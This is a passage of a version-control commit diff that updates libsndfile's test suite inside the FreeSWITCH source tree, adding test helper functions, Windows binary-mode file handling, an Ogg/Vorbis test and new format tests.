 [+ ENDFOR io_type +][+ ENDFOR write_op +]
 
+[+ FOR io_type
++]void compare_[+ (get "io_element") +]_or_die (const [+ (get "io_element") +] *left, const [+ (get "io_element") +] *right, unsigned count, int line_num) ;
+[+ ENDFOR io_type +]
+
+
+void	gen_lowpass_noise_float (float *data, int len) ;
+
+sf_count_t		file_length (const char * fname) ;
+sf_count_t		file_length_fd (int fd) ;
+
 #endif
 
 #ifdef __cplusplus
@@ -123,6 +138,7 @@
 
 #include <stdio.h>
 #include <stdlib.h>
+#include <inttypes.h>
 
 #if HAVE_UNISTD_H
 #include <unistd.h>
@@ -149,6 +165,15 @@
 
 #define	LOG_BUFFER_SIZE		2048
 
+/*
+**	Neat solution to the Win32/OS2 binary file flage requirement.
+**	If O_BINARY isn't already defined by the inclusion of the system
+**	headers, set it to zero.
+*/
+#ifndef O_BINARY
+#define O_BINARY 0
+#endif
+
 [+ FOR float_type +]
 void
 gen_windowed_sine_[+ (get "name") +] ([+ (get "name") +] *data, int len, double maximum)
@@ -175,42 +200,57 @@
 [+ ENDFOR float_type +]
 
 void
-check_file_hash_or_die (const char *filename, unsigned int target_hash, int line_num)
-{	static unsigned char	buffer [2048] ;
-	unsigned int	hash1, hash2 ;
-	FILE 	*file ;
-	int		k, read_count ;
+create_short_sndfile (const char *filename, int format, int channels)
+{	short data [2 * 3 * 4 * 5 * 6 * 7] = { 0, } ;
+	SNDFILE *file ;
+	SF_INFO sfinfo ;
 
-	memset (buffer, 0xEE, sizeof (buffer)) ;
+	sfinfo.samplerate = 44100 ;
+	sfinfo.channels = channels ;
+	sfinfo.format = format ;
 
+	if ((file = sf_open (filename, SFM_WRITE, &sfinfo)) == NULL)
+	{	printf ("Error (%s, %d) : sf_open failed : %s\n", __FILE__, __LINE__, sf_strerror (file)) ;
+		exit (1) ;
+		} ;
+
+	sf_write_short (file, data, ARRAY_LEN (data)) ;
+
+	sf_close (file) ;
+} /* create_short_sndfile */
+
+void
+check_file_hash_or_die (const char *filename, uint64_t target_hash, int line_num)
+{	static unsigned char buf [4096] ;
+	uint64_t	cksum ;
+	FILE 		*file ;
+	int			k, read_count ;
+
+	memset (buf, 0, sizeof (buf)) ;
+
 	/* The 'b' in the mode string means binary for Win32. */
-	if (! (file = fopen (filename, "rb")))
+	if ((file = fopen (filename, "rb")) == NULL)
 	{	printf ("\n\nLine %d: could not open file '%s'\n\n", line_num, filename) ;
 		exit (1) ;
 		} ;
 
-	hash1 = hash2 = 0 ;
+	cksum = 0 ;
 
-	while ((read_count = fread (buffer, 1, sizeof (buffer), file)))
-	{	for (k = 0 ; k < read_count ; k++)
-		{	hash1 = hash1 + buffer [k] ;
-			hash2 = hash2 ^ (buffer [k] << (k % 25)) ;
-			} ;
-		} ;
+	while ((read_count = fread (buf, 1, sizeof (buf), file)))
+		for (k = 0 ; k < read_count ; k++)
+			cksum = cksum * 511 + buf [k] ;
 
 	fclose (file) ;
 
-	hash1 += hash2 ;
-
 	if (target_hash == 0)
-	{	printf (" 0x%08x ", hash1) ;
+	{	printf (" 0x%016" PRIx64 "\n", cksum) ;
 		return ;
 		} ;
 
-	if (hash1 != target_hash)
-	{	printf ("\n\nLine %d: incorrect hash value 0x%08x should be 0x%08x\n\n", line_num, hash1, target_hash) ;
+	if (cksum != target_hash)
+	{	printf ("\n\nLine %d: incorrect hash value 0x%016" PRIx64 " should be 0x%016" PRIx64 ".\n\n", line_num, cksum, target_hash) ;
 		exit (1) ;
-		}
+		} ;
 
 	return ;
 } /* check_file_hash_or_die */
@@ -219,14 +259,20 @@
 print_test_name (const char *test, const char *filename)
 {	int count ;
 
-	if (test == NULL || filename == NULL)
+	if (test == NULL)
 	{	printf (__FILE__ ": bad test of filename parameter.\n") ;
 		exit (1) ;
 		} ;
 
-	printf ("    %-25s : %s ", test, filename) ;
+	if (filename == NULL || strlen (filename) == 0)
+	{	printf ("    %-30s : ", test) ;
+		count = 25 ;
+		}
+	else
+	{	printf ("    %-30s : %s ", test, filename) ;
+		count = 24 - strlen (filename) ;
+		} ;
 
-	count = 24 - strlen (filename) ;
 	while (count -- > 0)
 		putchar ('.') ;
 	putchar (' ') ;
@@ -235,7 +281,7 @@
 } /* print_test_name */
 
 void
-dump_data_to_file (const char *filename, void *data, unsigned int datalen)
+dump_data_to_file (const char *filename, const void *data, unsigned int datalen)
 {	FILE *file ;
 
 	if ((file = fopen (filename, "wb")) == NULL)
@@ -259,7 +305,7 @@
 
 [+ FOR io_type
 +]int
-oct_save_[+ (get "io_element") +]	([+ (get "io_element") +] *a, [+ (get "io_element") +] *b, int len)
+oct_save_[+ (get "io_element") +]	(const [+ (get "io_element") +] *a, const [+ (get "io_element") +] *b, int len)
 {	FILE 	*file ;
 	int		k ;
 
@@ -274,7 +320,7 @@
 	fprintf (file, "# columns: 1\n") ;
 
 	for (k = 0 ; k < len ; k++)
-		fprintf (file, [+ (get "format_str") +], a [k]) ;
+		fprintf (file, [+ (get "format_str") +] "\n", a [k]) ;
 
 	fprintf (file, "# name: b\n") ;
 	fprintf (file, "# type: matrix\n") ;
@@ -282,7 +328,7 @@
 	fprintf (file, "# columns: 1\n") ;
 
 	for (k = 0 ; k < len ; k++)
-		fprintf (file, [+ (get "format_str") +], b [k]) ;
+		fprintf (file, [+ (get "format_str") +] "\n", b [k]) ;
 
 	fclose (file) ;
 	return 0 ;
@@ -433,19 +479,19 @@
 	switch (mode)
 	{	case SFM_READ :
 				modestr = "SFM_READ" ;
-				oflags = O_RDONLY ;
+				oflags = O_RDONLY | O_BINARY ;
 				omode = 0 ;
 				break ;
 
 		case SFM_WRITE :
 				modestr = "SFM_WRITE" ;
-				oflags = O_WRONLY | O_CREAT | O_TRUNC ;
+				oflags = O_WRONLY | O_CREAT | O_TRUNC | O_BINARY ;
 				omode = S_IRUSR | S_IWUSR | S_IRGRP ;
 				break ;
 
 		case SFM_RDWR :
 				modestr = "SFM_RDWR" ;
-				oflags = O_RDWR | O_CREAT ;
+				oflags = O_RDWR | O_CREAT | O_BINARY ;
 				omode = S_IRUSR | S_IWUSR | S_IRGRP ;
 				break ;
 		default :
@@ -454,18 +500,15 @@
 				exit (1) ;
 		} ;
 
-#if (defined (WIN32) || defined (_WIN32))
-	/* Stupid fscking windows. */
-	oflags |= O_BINARY ;
-#endif
+	if (OS_IS_WIN32)
+	{	/* Windows doesn't support Unix file permissions so set it to zero. */
+		omode = 0 ;
+		} ;
 
 	if (allow_fd && ((++count) & 1) == 1)
 	{	int fd ;
 
-		if (omode == 0)
-			fd = open (filename, oflags) ;
-		else
-			fd = open (filename, oflags, omode) ;
+		fd = open (filename, oflags, omode) ;
 
 		if (fd < 0)
 		{	perror ("open") ;
@@ -611,6 +654,23 @@
 } /* test_[+ (get "op_element") +]_[+ (get "io_element") +] */
 [+ ENDFOR io_type +][+ ENDFOR write_op +]
 
+[+ FOR io_type
++]void
+compare_[+ (get "io_element") +]_or_die (const [+ (get "io_element") +] *left, const [+ (get "io_element") +] *right, unsigned count, int line_num)
+{
+	unsigned k ;
+
+	for (k = 0 ; k < count ;k++)
+		if (left [k] != right [k])
+		{	printf ("\n\nLine %d : Error at index %d, " [+ (get "format_str") +] " should be " [+ (get "format_str") +] ".\n\n", line_num, k, left [k], right [k]) ;
+			exit (1) ;
+			} ;
+
+	return ;
+} /* compare_[+ (get "io_element") +]_or_die */
+[+ ENDFOR io_type +]
+
+
 void
 delete_file (int format, const char *filename)
 {	char rsrc_name [512], *fname ;
@@ -691,14 +751,75 @@
 #endif
 } /* check_open_file_count_or_die */
 
-[+ ESAC +]
+void
+write_mono_file (const char * filename, int format, int srate, float * output, int len)
+{	SNDFILE * file ;
+	SF_INFO sfinfo ;
 
-[+ COMMENT
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
 
- Do not edit or modify anything in this comment block.
- The following line is a file identity tag for the GNU Arch
- revision control system.
+	sfinfo.samplerate = srate ;
+	sfinfo.channels = 1 ;
+	sfinfo.format = format ;
 
- arch-tag: b1183d5d-ebd4-4bc5-af50-60d774d6b1f5
+	if ((file = sf_open (filename, SFM_WRITE, &sfinfo)) == NULL)
+	{	printf ("sf_open (%s) : %s\n", filename, sf_strerror (NULL)) ;
+		exit (1) ;
+		} ;
 
-+]
+	sf_write_float (file, output, len) ;
+
+	sf_close (file) ;
+} /* write_mono_file */
+
+void
+gen_lowpass_noise_float (float *data, int len)
+{	int32_t value = 0x1243456 ;
+	double sample, last_val = 0.0 ;
+	int k ;
+
+	for (k = 0 ; k < len ; k++)
+	{	/* Not a crypto quality RNG. */
+		value = 11117 * value + 211231 ;
+		value = 11117 * value + 211231 ;
+		value = 11117 * value + 211231 ;
+
+		sample = value / (0x7fffffff * 1.000001) ;
+		sample = 0.2 * sample - 0.9 * last_val ;
+
+		data [k] = last_val = sample ;
+		} ;
+
+} /* gen_lowpass_noise_float */
+
+
+/*
+**	Windows is fucked.
+**	If a file is opened R/W and data is written to it, then fstat will return
+**	the correct file length, but stat will return zero.
+*/
+
+sf_count_t
+file_length (const char * fname)
+{	struct stat data ;
+
+	if (stat (fname, &data) != 0)
+		return 0 ;
+
+	return (sf_count_t) data.st_size ;
+} /* file_length */
+
+sf_count_t
+file_length_fd (int fd)
+{	struct stat data ;
+
+	memset (&data, 0, sizeof (data)) ;
+	if (fstat (fd, &data) != 0)
+		return 0 ;
+
+	return (sf_count_t) data.st_size ;
+} /* file_length_fd */
+
+
+[+ ESAC +]
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/virtual_io_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/virtual_io_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/virtual_io_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -229,10 +229,3 @@
 	puts ("ok") ;
 } /* vio_test */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 5569fa52-15dd-496f-ab47-1fd42d76195d
-*/

Copied: freeswitch/branches/seven/libs/libsndfile/tests/vorbis_test.c (from rev 14471, freeswitch/trunk/libs/libsndfile/tests/vorbis_test.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/vorbis_test.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/tests/vorbis_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,176 @@
+/*
+** Copyright (C) 2007-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU General Public License as published by
+** the Free Software Foundation; either version 2 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU General Public License for more details.
+**
+** You should have received a copy of the GNU General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include <math.h>
+
+#include	<sndfile.h>
+
+#include	"utils.h"
+#include	"dft_cmp.h"
+
+#define	SAMPLE_RATE		16000
+#define	DATA_LENGTH		(SAMPLE_RATE / 8)
+
+static float data_out [DATA_LENGTH] ;
+
+static inline float
+max_float (float a, float b)
+{	return a > b ? a : b ;
+} /* max_float */
+
+static void
+vorbis_test (void)
+{	static float float_data [DFT_DATA_LENGTH] ;
+	const char * filename = "vorbis_test.oga" ;
+	SNDFILE * file ;
+	SF_INFO sfinfo ;
+	float max_abs = 0.0 ;
+	unsigned k ;
+
+	print_test_name ("vorbis_test", filename) ;
+
+	/* Generate float data. */
+	gen_windowed_sine_float (float_data, ARRAY_LEN (float_data), 1.0) ;
+
+	/* Set up output file type. */
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.format = SF_FORMAT_OGG | SF_FORMAT_VORBIS ;
+	sfinfo.channels = 1 ;
+	sfinfo.samplerate = SAMPLE_RATE ;
+
+	/* Write the output file. */
+
+	/*	The Vorbis encoder has a bug on PowerPC and X86-64 with sample rates
+	**	<= 22050. Increasing the sample rate to 32000 avoids triggering it.
+	**	See https://trac.xiph.org/ticket/1229
+	*/
+	if ((file = sf_open (filename, SFM_WRITE, &sfinfo)) == NULL)
+	{	const char * errstr ;
+
+		errstr = sf_strerror (NULL) ;
+		if (strstr (errstr, "Sample rate chosen is known to trigger a Vorbis") == NULL)
+		{	printf ("Line %d: sf_open (SFM_WRITE) failed : %s\n", __LINE__, errstr) ;
+			dump_log_buffer (NULL) ;
+			exit (1) ;
+			} ;
+
+		printf ("\n                                  Sample rate -> 32kHz    ") ;
+		sfinfo.samplerate = 32000 ;
+
+		file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+		} ;
+
+	test_write_float_or_die (file, 0, float_data, ARRAY_LEN (float_data), __LINE__) ;
+	sf_close (file) ;
+
+	memset (float_data, 0, sizeof (float_data)) ;
+
+	/* Read the file back in again. */
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+	test_read_float_or_die (file, 0, float_data, ARRAY_LEN (float_data), __LINE__) ;
+	sf_close (file) ;
+
+	for (k = 0 ; k < ARRAY_LEN (float_data) ; k ++)
+		max_abs = max_float (max_abs, fabs (float_data [k])) ;
+
+	if (max_abs > 1.02)
+	{	printf ("\n\n    Error : max_abs %f should be < 1.02.\n\n", max_abs) ;
+		exit (1) ;
+		} ;
+
+	puts ("ok") ;
+	unlink (filename) ;
+} /* vorbis_test */
+
+static void
+vorbis_quality_test (void)
+{	/*
+	**	Encode two files, one at quality 0.3 and one at quality 0.5 and then
+	**	make sure that the quality 0.3 files is the smaller of the two.
+	*/
+	const char * q3_fname = "q3_vorbis.oga" ;
+	const char * q5_fname = "q5_vorbis.oga" ;
+
+	SNDFILE *q3_file, *q5_file ;
+	SF_INFO sfinfo ;
+	int q3_size, q5_size ;
+	double quality ;
+	int k ;
+
+	print_test_name (__func__, "q[35]_vorbis.oga") ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	/* Set up output file type. */
+	sfinfo.format = SF_FORMAT_OGG | SF_FORMAT_VORBIS ;
+	sfinfo.channels = 1 ;
+	sfinfo.samplerate = SAMPLE_RATE ;
+
+	/* Write the output file. */
+	q3_file = test_open_file_or_die (q3_fname, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+	q5_file = test_open_file_or_die (q5_fname, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+
+	quality = 0.3 ;
+	sf_command (q3_file, SFC_SET_VBR_ENCODING_QUALITY, &quality, sizeof (quality)) ;
+	quality = 0.5 ;
+	sf_command (q5_file, SFC_SET_VBR_ENCODING_QUALITY, &quality, sizeof (quality)) ;
+
+	for (k = 0 ; k < 5 ; k++)
+	{	gen_lowpass_noise_float (data_out, ARRAY_LEN (data_out)) ;
+		test_write_float_or_die (q3_file, 0, data_out, ARRAY_LEN (data_out), __LINE__) ;
+		test_write_float_or_die (q5_file, 0, data_out, ARRAY_LEN (data_out), __LINE__) ;
+		} ;
+
+	sf_close (q3_file) ;
+	sf_close (q5_file) ;
+
+	q3_size = file_length (q3_fname) ;
+	q5_size = file_length (q5_fname) ;
+
+	if (q3_size >= q5_size)
+	{	printf ("\n\nLine %d : q3 size (%d) >= q5 size (%d)\n\n", __LINE__, q3_size, q5_size) ;
+		exit (1) ;
+		} ;
+
+	puts ("ok") ;
+	unlink (q3_fname) ;
+	unlink (q5_fname) ;
+} /* vorbis_quality_test */
+
+
+
+int
+main (void)
+{
+	if (HAVE_EXTERNAL_LIBS)
+	{	vorbis_test () ;
+		vorbis_quality_test () ;
+		}
+	else
+		puts ("    No Ogg/Vorbis tests because Ogg/Vorbis support was not compiled in.") ;
+
+	return 0 ;
+} /* main */

Modified: freeswitch/branches/seven/libs/libsndfile/tests/win32_ordinal_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/win32_ordinal_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/win32_ordinal_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2006-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -32,7 +32,6 @@
 
 #include <string.h>
 #include <fcntl.h>
-#include <errno.h>
 #include <sys/types.h>
 
 #include "utils.h"
@@ -46,11 +45,6 @@
 #if TEST_WIN32
 #include <windows.h>
 
-#ifdef __CYGWIN__
-#define DLL_NAME	"cygsndfile"
-#else
-#define DLL_NAME	"libsndfile"
-#endif
 
 static const char * locations [] =
 {	"../src/", "src/", "../src/.libs/", "src/.libs/",
@@ -64,7 +58,13 @@
 
 	print_test_name ("win32_ordinal_test", func_name) ;
 
-	ord = GetProcAddress (hmod, (LPSTR) ordinal) ;
+#if SIZEOF_VOIDP == 8
+#define	LPCSTR_OF_ORDINAL(x)	((LPCSTR) ((int64_t) (x)))
+#else
+#define	LPCSTR_OF_ORDINAL(x)	((LPCSTR) (x))
+#endif
+
+	ord = GetProcAddress (hmod, LPCSTR_OF_ORDINAL (ordinal)) ;
 	if ((name = GetProcAddress (hmod, func_name)) == NULL)
 	{	FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError (),
 					MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpmsg, 0, NULL) ;
@@ -89,7 +89,7 @@
 	int k, ordinal, errors = 0 ;
 
 	for (k = 0 ; locations [k] != NULL ; k++)
-	{	snprintf (buffer, sizeof (buffer), "%s/%s.def", locations [k], DLL_NAME) ;
+	{	snprintf (buffer, sizeof (buffer), "%s/libsndfile-1.def", locations [k]) ;
 		if ((file = fopen (buffer, "r")) != NULL)
 			break ;
 		} ;
@@ -100,7 +100,7 @@
 		} ;
 
 	for (k = 0 ; locations [k] != NULL ; k++)
-	{	snprintf (buffer, sizeof (buffer), "%s/%s-1.dll", locations [k], DLL_NAME) ;
+	{	snprintf (buffer, sizeof (buffer), "%s/libsndfile-1.dll", locations [k]) ;
 		if ((hmod = (HMODULE) LoadLibrary (buffer)) != NULL)
 			break ;
 		} ;
@@ -137,18 +137,10 @@
 int
 main (void)
 {
-#if TEST_WIN32
+#if (TEST_WIN32 && WIN32_TARGET_DLL)
 	win32_ordinal_test () ;
 #endif
 
 	return 0 ;
 } /* main */
 
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 708f6815-e787-4143-bb99-f32c1bb5564e
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/win32_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/win32_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/win32_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -48,7 +48,6 @@
 
 	static char dir_cmd [] = "ls -l" ;
 
-	#define		COMPILE_FULL_TEST	1
 #elif (defined (WIN32) || defined (_WIN32))
 
 	#define		LSEEK	_lseeki64
@@ -59,8 +58,7 @@
 
 	static char dir_cmd [] = "dir" ;
 
-	#define		COMPILE_FULL_TEST	1
-#elif defined (linux)
+#else
 
 	#define		LSEEK	lseek
 	#define		FSTAT	fstat
@@ -71,25 +69,25 @@
 	#define		O_BINARY	0
 	static char dir_cmd [] = "ls -l" ;
 
-	#define		COMPILE_FULL_TEST	1
-#else
-	#define		COMPILE_FULL_TEST	0
 #endif
 
-#if COMPILE_FULL_TEST
 static void show_fstat_error (void) ;
 static void show_lseek_error (void) ;
+static void show_stat_fstat_error (void) ;
 
 int
 main (void)
-{	puts ("\n\n\n\n"
-		"This program shows up some errors in the Win32 implementation of\n"
-		"a couple of POSIX API functions. It can also be compiled on Linux\n"
-		"(which works correctly) just to provide a sanity check.\n"
+{
+	puts ("\n\n\n\n"
+		"This program shows up errors in the Win32 implementation of\n"
+		"a couple of POSIX API functions on some versions of windoze.\n"
+		"It can also be compiled on Linux (which works correctly) and\n"
+		"other OSes just to provide a sanity check.\n"
 		) ;
 
 	show_fstat_error () ;
 	show_lseek_error () ;
+	show_stat_fstat_error () ;
 
 	puts ("\n\n") ;
 
@@ -102,7 +100,7 @@
 	static char data [256] ;
 
 	STATBUF 	statbuf ;
-	int fd, mode, flags ;
+	int fd, mode, flags, ignored ;
 
 	if (sizeof (statbuf.st_size) != sizeof (INT64))
 	{	printf ("\n\nLine %d: Error, sizeof (statbuf.st_size) != 8.\n\n", __LINE__) ;
@@ -118,7 +116,7 @@
 	{	printf ("\n\nLine %d: open() failed : %s\n\n", __LINE__, strerror (errno)) ;
 		return ;
 		} ;
-	write (fd, data, sizeof (data)) ;
+	ignored = write (fd, data, sizeof (data)) ;
 	close (fd) ;
 
 	printf ("1) Re-open file in read/write mode and write another %d bytes at the end.\n", SIGNED_SIZEOF (data)) ;
@@ -129,11 +127,17 @@
 		return ;
 		} ;
 	LSEEK (fd, 0, SEEK_END) ;
-	write (fd, data, sizeof (data)) ;
+	ignored = write (fd, data, sizeof (data)) ;
 
 	printf ("2) Now use system (\"%s %s\") to show the file length.\n\n", dir_cmd, filename) ;
-	sprintf (data, "%s %s", dir_cmd, filename) ;
-	system (data) ;
+
+	/* Would use snprintf, but thats not really available on windows. */
+	memset (data, 0, sizeof (data)) ;
+	strncpy (data, dir_cmd, sizeof (data) - 1) ;
+	strncat (data, " ", sizeof (data) - 1 - strlen (data)) ;
+	strncat (data, filename, sizeof (data) - 1 - strlen (data)) ;
+
+	ignored = system (data) ;
 	puts ("") ;
 
 	printf ("3) Now use fstat() to get the file length.\n") ;
@@ -161,7 +165,7 @@
 	static char data [256] ;
 
 	INT64	retval ;
-	int fd, mode, flags ;
+	int fd, mode, flags, ignored ;
 
 	puts ("\n64 bit lseek() test.\n--------------------") ;
 
@@ -172,7 +176,7 @@
 	{	printf ("\n\nLine %d: open() failed : %s\n\n", __LINE__, strerror (errno)) ;
 		return ;
 		} ;
-	write (fd, data, sizeof (data)) ;
+	ignored = write (fd, data, sizeof (data)) ;
 	close (fd) ;
 
 	printf ("1) Re-open file in read/write mode and write another %d bytes at the end.\n", SIGNED_SIZEOF (data)) ;
@@ -184,11 +188,17 @@
 		} ;
 
 	LSEEK (fd, 0, SEEK_END) ;
-	write (fd, data, sizeof (data)) ;
+	ignored = write (fd, data, sizeof (data)) ;
 
 	printf ("2) Now use system (\"%s %s\") to show the file length.\n\n", dir_cmd, filename) ;
-	sprintf (data, "%s %s", dir_cmd, filename) ;
-	system (data) ;
+
+	/* Would use snprintf, but thats not really available on windows. */
+	memset (data, 0, sizeof (data)) ;
+	strncpy (data, dir_cmd, sizeof (data) - 1) ;
+	strncat (data, " ", sizeof (data) - 1 - strlen (data)) ;
+	strncat (data, filename, sizeof (data) - 1 - strlen (data)) ;
+
+	ignored = system (data) ;
 	puts ("") ;
 
 	printf ("3) Now use lseek() to go to the end of the file.\n") ;
@@ -207,29 +217,57 @@
 
 } /* show_lseek_error */
 
-#else
+static void
+show_stat_fstat_error (void)
+{	static const char *filename = "stat_fstat.dat" ;
+	static char data [256] ;
 
-int
-main (void)
-{	puts ("\n"
-		"This program shows up some errors in the Win32 implementation of\n"
-		"a couple of POSIX API functions. It can also be compiled on Linux\n"
-		"and under Cygwin32 (which both work correctly) just to provide a \n"
-		"sanity check.\n"
-		"Unfortunately, it does not compile on this platform."
-		) ;
+	int fd, mode, flags ;
+	int stat_size, fstat_size, ignored ;
+	struct stat buf ;
 
-	return 0 ;
-} /* main */
+	/* Known to fail on WinXP. */
+	puts ("\nstat/fstat test.\n----------------") ;
 
-#endif
+	printf ("0) Create a file and write %d bytes.\n", SIGNED_SIZEOF (data)) ;
 
+	mode = O_WRONLY | O_CREAT | O_TRUNC | O_BINARY ;
+	flags = S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH ;
+	if ((fd = open (filename, mode, flags)) < 0)
+	{	printf ("\n\nLine %d: open() failed : %s\n\n", __LINE__, strerror (errno)) ;
+		return ;
+		} ;
 
+	ignored = write (fd, data, sizeof (data)) ;
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 228b9a18-0555-46d9-b9e6-2b37ce048702
-*/
+	printf ("1) Now call stat and fstat on the file and retreive the file lengths.\n") ;
+
+	if (stat (filename, &buf) != 0)
+	{	printf ("\n\nLine %d: stat() failed : %s\n\n", __LINE__, strerror (errno)) ;
+		goto error_exit ;
+		} ;
+	stat_size = buf.st_size ;
+
+	if (fstat (fd, &buf) != 0)
+	{	printf ("\n\nLine %d: fstat() failed : %s\n\n", __LINE__, strerror (errno)) ;
+		goto error_exit ;
+		} ;
+	fstat_size = buf.st_size ;
+
+	printf ("3) Size returned by stat and fstat is %d and %d, ", stat_size, fstat_size) ;
+
+
+	if (stat_size == 0 || stat_size != fstat_size)
+		printf ("but thats just plain ***WRONG***.\n\n") ;
+	else
+		printf ("which is correct.\n\n") ;
+
+error_exit :
+
+	close (fd) ;
+	unlink (filename) ;
+
+	return ;
+} /* show_stat_fstat_error */
+
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/write_read_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/write_read_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/write_read_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -36,6 +36,7 @@
 #include	<sndfile.h>
 
 #include	"utils.h"
+#include	"generate.h"
 
 #define	SAMPLE_RATE			11025
 #define	DATA_LENGTH			(1<<12)
@@ -85,6 +86,8 @@
 		printf ("           voc   - Create Voice file functions\n") ;
 		printf ("           w64   - Sonic Foundry's W64 file functions\n") ;
 		printf ("           flac  - test FLAC file functions\n") ;
+		printf ("           mpc2k - test MPC 2000 file functions\n") ;
+		printf ("           rf64  - test RF64 file functions\n") ;
 		printf ("           all   - perform all tests\n") ;
 		exit (1) ;
 		} ;
@@ -313,6 +316,11 @@
 		test_count++ ;
 		} ;
 
+	if (do_all || ! strcmp (argv [1], "mpc2k"))
+	{	pcm_test_short	("short.mpc", SF_FORMAT_MPC2K | SF_FORMAT_PCM_16, SF_FALSE) ;
+		test_count++ ;
+		} ;
+
 	if (do_all || ! strcmp (argv [1], "avr"))
 	{	pcm_test_char 	("char_u8.avr"	, SF_FORMAT_AVR | SF_FORMAT_PCM_U8, SF_FALSE) ;
 		pcm_test_char 	("char_s8.avr"	, SF_FORMAT_AVR | SF_FORMAT_PCM_S8, SF_FALSE) ;
@@ -342,6 +350,10 @@
 	{	pcm_test_char	("char.sds"		, SF_FORMAT_SDS | SF_FORMAT_PCM_S8, SF_TRUE) ;
 		pcm_test_short	("short.sds"	, SF_FORMAT_SDS | SF_FORMAT_PCM_16, SF_TRUE) ;
 		pcm_test_24bit	("24bit.sds"	, SF_FORMAT_SDS | SF_FORMAT_PCM_24, SF_TRUE) ;
+
+		empty_file_test ("empty_char.sds", SF_FORMAT_SDS | SF_FORMAT_PCM_S8) ;
+		empty_file_test ("empty_short.sds", SF_FORMAT_SDS | SF_FORMAT_PCM_16) ;
+
 		test_count++ ;
 		} ;
 
@@ -353,17 +365,33 @@
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "flac"))
-	{
-#ifdef HAVE_FLAC_ALL_H
-		pcm_test_char	("char.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_S8, SF_TRUE) ;
-		pcm_test_short	("short.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_16, SF_TRUE) ;
-		pcm_test_24bit	("24bit.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_24, SF_TRUE) ;
-#else
-		printf ("    **** flac not supported in this binary. ****\n") ;
-#endif
+	{	if (HAVE_EXTERNAL_LIBS)
+		{	pcm_test_char	("char.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_S8, SF_TRUE) ;
+			pcm_test_short	("short.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_16, SF_TRUE) ;
+			pcm_test_24bit	("24bit.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_24, SF_TRUE) ;
